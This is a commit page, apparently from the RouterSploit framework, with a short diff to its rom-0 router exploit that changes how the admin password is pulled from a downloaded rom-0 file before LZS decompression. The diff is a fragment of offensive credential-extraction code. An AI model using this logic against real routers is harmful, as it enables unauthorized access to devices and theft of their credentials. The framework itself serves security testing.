Commit 2dd280df by 0BuRner Committed by Mariusz Kupidura

rom-0 exploit : fix password extraction bug (#312)

* rom-0 exploit : fix password extraction bug

* Update rom0.py
parent 91310b33
import io
import re
import sys
from routersploit import (
exploits,
......@@ -75,16 +76,9 @@ class Exploit(exploits.Exploit):
@staticmethod
def extract_password(fhandle):
fpos = 8568
fend = 8788
chunk = "*"
amount = 221
fhandle.seek(fpos)
while fpos < fend:
if fend - fpos < amount:
amount = fend - fpos
chunk = fhandle.read(amount)
fpos += len(chunk)
chunk = fhandle.read(sys.getsizeof(fhandle))
# Decompress chunk
result, window = lzs.LZSDecompress(chunk)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment